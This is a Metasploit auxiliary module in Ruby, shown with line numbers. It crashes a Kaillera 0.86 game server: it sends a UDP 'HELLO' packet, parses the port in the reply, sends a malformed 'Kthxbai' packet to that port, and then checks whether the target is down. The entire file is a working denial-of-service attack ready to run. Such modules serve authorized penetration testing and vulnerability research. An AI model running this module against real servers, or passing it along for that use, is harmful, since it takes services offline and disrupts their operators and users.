1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Udp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Kaillera 0.86 Server Denial of Service',
15
        'Description' => %q{
16
          The Kaillera 0.86 server can be shut down by sending any malformed packet
17
          after the initial "hello" packet.
18
        },
19
        'Author' => ['Sil3nt_Dre4m'],
20
        'License' => MSF_LICENSE,
21
        'DisclosureDate' => '2011-07-02',
22
        'Notes' => {
23
          'Stability' => [CRASH_SERVICE_DOWN],
24
          'SideEffects' => [],
25
          'Reliability' => []
26
        }
27
      )
28
    )
29

30
    register_options([
31
      Opt::RPORT(27888)
32
    ])
33
  end
34

35
  def run
36
    # Send HELLO to target
37
    connect_udp
38
    print_status('Sending Crash request...')
39
    udp_sock.put("HELLO0.83\0")
40
    res = udp_sock.recvfrom(15)
41
    disconnect_udp
42

43
    if res[0] =~ /HELLOD00D([0-9]{1,5})/
44
      port = ::Regexp.last_match(1)
45
    else
46
      print_error('Connection failed')
47
      return
48
    end
49

50
    # Send DOS packet
51
    connect_udp(true, 'RPORT' => port)
52
    print_status("Sending DoS packet to #{rhost}:#{port}...")
53
    udp_sock.put('Kthxbai')
54
    disconnect_udp
55

56
    # Check is target is down
57
    connect_udp
58
    print_status('Checking target...')
59
    udp_sock.put("HELLO0.83\0")
60
    res = udp_sock.recvfrom(15)
61
    disconnect_udp
62

63
    if res[0] =~ /HELLO/
64
      print_error('DoS attempt failed.  It appears target is still up.')
65
    else
66
      print_good('Target is down')
67
    end
68
  end
69
end
70

71